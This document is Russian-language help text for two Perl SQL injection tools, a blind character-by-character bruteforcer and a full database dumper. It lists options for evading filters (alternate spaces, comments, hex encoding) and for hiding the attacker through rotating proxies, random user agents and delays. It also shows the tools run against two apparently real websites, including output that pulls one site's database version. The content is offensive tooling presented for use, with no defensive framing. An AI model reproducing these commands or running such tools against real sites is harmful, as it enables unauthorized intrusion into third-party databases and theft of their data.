Options:
 -u - путь к сайту с уязвимым скриптом
 -s - подзапрос к бд. Например, "version()" или "(select user from mysql.user)"
 -a - строка, присутствующая в ответе, если условие 1=1 и отсутствует, когда 1=2 ; При указании "AUTO" будет определена самостоятельно
 -m - наборы символов ascii: 0-все, 1-мд5, 2-цифры, 3-англ.буквы, 4-рус.буквы
 -L - автоопределение длинны строки. Удобно при бруте строк рэндомных длинн. 
     0-выход при первой ошибке(рекомендую все ascii, тогда выход при конце строки)
     1-задаём нужную длинну строки через n и N. Все не найденные ascii обозначаться "*"
     2-включаем автоопределение длинны строки. Все не найденные ascii обозначаться "*"
 -n - (только для L=1)позиция первого символа в строке, с которого начнём брут
 -N - (только для L=1)позиция последнего символа в строке, на котором закончим брут
 -S - вид пробела: "%20","+","%2B","/**/","%09","%0D","$IFS" 
 -c - вид коментов: "/*","--","#"
 -g - работа через гет или пост-запросы
 -t - время задержки. выдерживается пауза при каждом запросе. RAND - случайная от 0 до 10
 -b - юзер-агент. выбирается случайный юзер-агент при каждом запросе
 -p - файл с проксями. выбирается случайная прокся при каждом запросе
 -l - логирование(лог адаптирован под брут файлов: фразы типа "-> Try 48 .." не пишутся - только сам результат )

C:\sql_ocb.pl -u "http://www.comstar.ru/press-center/news/?month=10&year=2004"

=====_Sql-Databases One Char Bruteforce Tool_=====

*URL:__________http://www.comstar.ru/press-center/news/?month=10&year=2004 
 substring():__version() 
 Answer_true:__AUTO 
 Ascii:________all
 Lenght:_______first-error 
 Min_num:______1 
 Max_num:______10 
 SPACE:________%20 
 Comment:______/* 
 POST-GET:_____GET 
 Time(sleep):__0 
 User-Agent:___useragent.txt 
 PROXY:________proxy.txt 
 Log:__________log_ocb.txt 

=====_Sql-Databases One Char Bruteforce Tool_=====

GO!

 Auto-Detect Answer. Please, WAIT...

 OK! Answer: Dial

 Brut string "version()":

4.1.1-alpha-standard-log

-----------------------------------
 Result brut(char): 4.1.1-alpha-standard-log
 Result brut(ascii): 52,46,49,46,49,45,97,108,112,104,97,45,115,116,97,110,100,97,114,100,45,108,111,103,


      Work finished! EXIT.

   Options:  *-необходимый параметр
*-u - путь к сайту с уязвимым скриптом "http://site.com/?bag=-1'"
 -W - юзаем юнион(-W=0) или подзапрос(-W=1)
 -A - алгоритм без доп.условия where:
   "1" - сдампить только названия таблиц без столбцов и данных
   "2" - сдампить только названия таблиц и столбцов без данных
   "3" - полный дамп базы.
 -Z - выдрать данные из конкретной таблицы,столбца. Дампит полностью, игнорируя -A
   -t - выдрать только из указанной таблицы
   -с - выдрать только из указанного столбца таблицы
   -w - доп.условие where
 -E - эвристическое определение всех ниже лежащих подпараметров. 
   -M - 0="MSSQL"(default); 1="MySQL"
   -C - вид комента. 0="/*",1="--",2="#"
   -O - all column in SELECT (default=1)
   -o - work column in SELECT (default=1)
   -s - строка\символы до полезного параметра
   -S - строка\символы после полезного параметра
   -m - TOP(mssql) или LIMIT(mysql-5.*)
     -n - параметр TOP или первый параметр LIMIT
     -N - второй параметр LIMIT. при отсутствии равен n
   -z - конвертирование cp1251 или latin1
   -a - шифрование имён столбцов в AES_ENCRYPT(AES_DECRYPT(TABLE_NAME,0x71,0x71))
 -B - режим посимвольного брута.( Элект, ТЫ ПСИХ!! )
   -s - строка в правильном запросе(AND 1=1)
   -i - пресеты ascii-перебора. По дефолту - все символы
   -L - по умолчанию выход при первой ошибке, что при юзании всех ascii означает конец строки
     -v - с какой позиции начать перебор неизвестной(по дефолту с первой)
     -V - на какой позиции закончить(по дефолту на 10-й)
 -f - задаёт отрицание: 'NOT IN' либо '<>'
 -h - шифрование переменных в HEX, CHAR
 -r - вид пробела. SPACE(%20)=0(def);'+'=1;%2B=2;/**/=3;TAB(%09)=4;%0D=5;\$IFS=6
 -g - работа через гет или пост-запросы
 -T - время задержки. 'RAND'-рэндомное от 1 до 10 сек
 -b - файл со списком юзер-агентов. рэндомный выбор
 -p - файл с проксями. рэндомный выбор
 -l - логирование в указанный файл

C:\>C:\mssql_base_dump.pl -u "http://www.onlineticketshop.nl/content/details.asp?sub_id=556&taal_id=(" -W 1